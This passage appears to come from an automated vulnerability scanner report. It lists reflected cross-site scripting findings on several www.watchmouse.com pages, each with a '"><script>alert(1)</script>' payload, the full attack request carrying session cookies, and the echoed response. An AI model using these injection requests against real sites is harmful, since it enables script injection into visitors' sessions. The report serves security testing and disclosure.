User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5a9e53306883a1cea83c33ec579b70e8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en6027a"><script>alert(1)</script>fd2f65145f2/free_resources.php" method="post">
...[SNIP]...

1.480. http://www.watchmouse.com/en/free_resources.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/free_resources.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e39ca"><script>alert(1)</script>7fa5125914a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/free_resources.phpe39ca"><script>alert(1)</script>7fa5125914a HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:31 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-28eeebd99b19f2a714dbb37af095e23a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/free_resources.phpe39ca"><script>alert(1)</script>7fa5125914a" method="post">
...[SNIP]...

1.481. http://www.watchmouse.com/en/free_resources.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/free_resources.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15a38"><script>alert(1)</script>7b91e4f59b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/free_resources.php?15a38"><script>alert(1)</script>7b91e4f59b0=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-31349f9075c5200d0736c0ffdfac0306"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 22002

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/free_resources.php?15a38"><script>alert(1)</script>7b91e4f59b0=1" method="post">
...[SNIP]...

1.482. http://www.watchmouse.com/en/howto.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/howto.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbfcf"><script>alert(1)</script>65f653a8067 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enbbfcf"><script>alert(1)</script>65f653a8067/howto.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b4974f54a2cc25cfe8293f04affc0314"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enbbfcf"><script>alert(1)</script>65f653a8067/howto.php" method="post">
...[SNIP]...

1.483. http://www.watchmouse.com/en/howto.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/howto.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 889b7"><script>alert(1)</script>9c455510f82 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/howto.php889b7"><script>alert(1)</script>9c455510f82 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a6ad4a7aae18269c02d4f9d8ed1c7a15"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/howto.php889b7"><script>alert(1)</script>9c455510f82" method="post">
...[SNIP]...

1.484. http://www.watchmouse.com/en/howto.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/howto.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff8f8"><script>alert(1)</script>e4b06d57ffb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/howto.php?ff8f8"><script>alert(1)</script>e4b06d57ffb=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:06 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f33b92c04639ac97f1a7843767fe280e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15765

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/howto.php?ff8f8"><script>alert(1)</script>e4b06d57ffb=1" method="post">
...[SNIP]...

1.485. http://www.watchmouse.com/en/inthenews.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/inthenews.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9bed"><script>alert(1)</script>2fc6df0cf6a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /ene9bed"><script>alert(1)</script>2fc6df0cf6a/inthenews.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-cb6225893023d35d2e55f672eae648b9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ene9bed"><script>alert(1)</script>2fc6df0cf6a/inthenews.php" method="post">
...[SNIP]...

1.486. http://www.watchmouse.com/en/inthenews.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/inthenews.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc2a4"><script>alert(1)</script>17a1d67ff7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/inthenews.phpfc2a4"><script>alert(1)</script>17a1d67ff7 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f43ebff28777bd9a37ed5eff21ee918b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/inthenews.phpfc2a4"><script>alert(1)</script>17a1d67ff7" method="post">
...[SNIP]...

1.487. http://www.watchmouse.com/en/inthenews.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/inthenews.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec01d"><script>alert(1)</script>58f4872ff06 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/inthenews.php?ec01d"><script>alert(1)</script>58f4872ff06=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-565b287b5379f056e133944a97943d83"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 62423

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/inthenews.php?ec01d"><script>alert(1)</script>58f4872ff06=1" method="post">
...[SNIP]...

1.488. http://www.watchmouse.com/en/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b59b7"><script>alert(1)</script>89418b90718 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enb59b7"><script>alert(1)</script>89418b90718/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:00:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-ea2664813f10784372a7c9f1bdbc1192"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enb59b7"><script>alert(1)</script>89418b90718/learn_more.php" method="post">
...[SNIP]...

1.489. http://www.watchmouse.com/en/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d39b6"><script>alert(1)</script>d42424a7889 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/learn_more.phpd39b6"><script>alert(1)</script>d42424a7889 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:00:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-fc7784df31ecb91d9ea5930f6b8f4a29"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/learn_more.phpd39b6"><script>alert(1)</script>d42424a7889" method="post">
...[SNIP]...

1.490. http://www.watchmouse.com/en/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edfa0"><script>alert(1)</script>4b83c53d260 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/learn_more.php?edfa0"><script>alert(1)</script>4b83c53d260=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:00:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:00:37 GMT
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 45231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/learn_more.php?edfa0"><script>alert(1)</script>4b83c53d260=1" method="post">
...[SNIP]...

1.491. http://www.watchmouse.com/en/management.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/management.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d9ee"><script>alert(1)</script>44472ed8380 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en8d9ee"><script>alert(1)</script>44472ed8380/management.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-76888d2521f640f1b36065520610f1cd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en8d9ee"><script>alert(1)</script>44472ed8380/management.php" method="post">
...[SNIP]...

1.492. http://www.watchmouse.com/en/management.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/management.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64f2b"><script>alert(1)</script>50cbeca7a5d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/management.php64f2b"><script>alert(1)</script>50cbeca7a5d HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a42e382d7702fab1b9197067174f651b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/management.php64f2b"><script>alert(1)</script>50cbeca7a5d" method="post">
...[SNIP]...

1.493. http://www.watchmouse.com/en/management.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/management.php

Issue detail

